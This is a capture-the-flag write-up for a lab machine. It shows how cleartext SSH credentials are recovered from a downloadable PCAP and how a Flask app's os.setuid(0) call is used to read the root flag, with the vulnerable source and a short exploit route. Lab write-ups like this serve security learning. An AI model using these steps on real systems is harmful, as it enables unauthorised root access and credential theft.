Simple easy box, perfect to warmup before the FIC 2021 and get more confidence in 1337 h4ck1n9
TL;DR#
Find PCAP file on server, get SSH credentials, execute code as root with Python.
Footholds#
I did not even use nmap
here, as we had a web server serving on port tcp:80
. This website looked like this:
It seems to be a security dashboard for a server, we don’t have any info about that. We have multiple endpoints on the server :
/capture
: redirects to/data/{id}
after loading/data/{id}
: we can download{id}.pcap
by clicking a button/ip
: get anetstat
output
What can we do with that?
User#
I got to download the file 11.pcap
, and got nothing in it. I recognized that all my interactions with the server were logged in this PCAP, which is odd, I tought the server was serving a particular PCAP.
After playing again with the /capture
endpoint, I figured out that the /data/{id}
correspond to a specific user or IP. So I checked /data/0
and got the following data:
And guess what? Yes we can see credentials in cleartext here:
So we can SSH to the machine with those.
Root#
Source code#
The server was running in /var/www/html/app.py
which is a Flask server. the user nathan
have rw
rights on it so I checked the source code:
1import os
2from flask import *
3from flask_limiter import Limiter
4from flask_limiter.util import get_remote_address
5import tempfile
6import dpkt
7from werkzeug.utils import append_slash_redirect
8
9# [...]
10
11app = Flask(__name__)
12
13@app.route("/")
14def index():
15 return render_template("index.html")
16
17@app.route("/capture")
18@limiter.limit("10 per minute")
19def capture():
20 path = os.path.join(app.root_path, "upload", str(pcapid) + ".pcap")
21 ip = request.remote_addr
22 # permissions issues with gunicorn and threads. hacky solution for now.
23 #os.setuid(0)
24 #command = f"timeout 5 tcpdump -w {path} -i any host {ip}"
25 command = f"""python3 -c 'import os; os.setuid(0); os.system("timeout 5 tcpdump -w {path} -i any host {ip}")'"""
26 os.system(command)
27 #os.setuid(1000)
28
29 return redirect("/data/" + str(pcapid))
30
31@app.route("/ip")
32def ifconfig():
33 d = os.popen("ifconfig").read().strip()
34 print(d)
35 return render_template("index.html", rawtext=d)
36
37@app.route("/data/<id>")
38def data_id(id):
39 try:
40 id = int(id)
41 except:
42 return redirect("/")
43 try:
44 data = process_pcap(os.path.join(app.root_path, "upload", str(id) + ".pcap"))
45 path = str(id) + ".pcap"
46 return render_template("index.html", data=data, path=path)
47 except Exception as e:
48 print(e)
49 return redirect("/")
50
51# [...]
52
53if __name__ == "__main__":
54 app.run("0.0.0.0", 80, debug=True)
I removed some code for readability but you get the idea. The important stuff is the os.setuid(0)
part. If you want the complete code, check it here.
Exploit#
As you can expect here we can execute code as root with the os.setuid(0)
line. So I just edited this app.py
file and added one route:
1@app.route("/test")
2def test():
3 os.setuid(0)
4 data = os.popen("cat /root/root.txt").read()
5 return render_template("index.html", data=data)
6
7# opened a new port on the machine
8if __name__ == "__main__":
9 app.run("0.0.0.0", 65000, debug=True)
Then I started the server in the SSH connection: nathan@cap: python3 app.py
, and connected on the server on my local machine with firefox http://cap.htb:65000/test
.
And voilà .